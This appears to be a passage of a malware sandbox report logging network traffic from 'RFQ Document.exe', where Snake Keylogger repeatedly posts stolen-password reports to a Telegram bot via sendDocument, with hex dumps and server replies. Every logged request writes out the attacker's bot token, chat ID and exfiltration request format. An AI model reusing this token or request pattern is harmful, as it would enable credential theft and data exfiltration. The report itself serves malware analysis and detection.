2021-09-28 05:58:44 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:44 UTC	175	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12693,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808724,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49785	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:22 UTC	17	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c321840c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:22 UTC	17	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 32 31 38 34 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c321840cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:22 UTC	18	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:22 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:22 UTC	18	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12590,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808702,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.4	49886	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:44 UTC	176	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d02dbe7d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:44 UTC	176	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 30 32 64 62 65 37 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d02dbe7dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:44 UTC	176	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:44 UTC	177	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12694,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808724,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.4	49887	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:44 UTC	177	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d04cbcff Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:44 UTC	178	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 30 34 63 62 63 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d04cbcffContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:45 UTC	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:45 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:45 UTC	178	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12695,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808725,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.4	49888	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:45 UTC	179	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d06494a7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:45 UTC	179	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 30 36 34 39 34 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d06494a7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:53 UTC	180	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:53 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:53 UTC	180	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 33 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 33 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 3","parameters":{"retry_after":3}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.4	49910	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:53 UTC	180	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d53ebc56 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:53 UTC	180	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 35 33 65 62 63 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d53ebc56Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:56 UTC	181	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:56 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:56 UTC	181	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12697,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808736,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.4	49913	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:56 UTC	182	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d719308d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:56 UTC	182	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 31 39 33 30 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d719308dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:56 UTC	182	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:56 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:56 UTC	183	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12699,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808736,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.4	49914	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:56 UTC	183	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d735cde8 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:56 UTC	184	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 33 35 63 64 65 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d735cde8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:56 UTC	184	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:56 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:56 UTC	184	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12700,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808736,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.4	49915	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:56 UTC	185	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d754caca Host: api.telegram.org Content-Length: 407
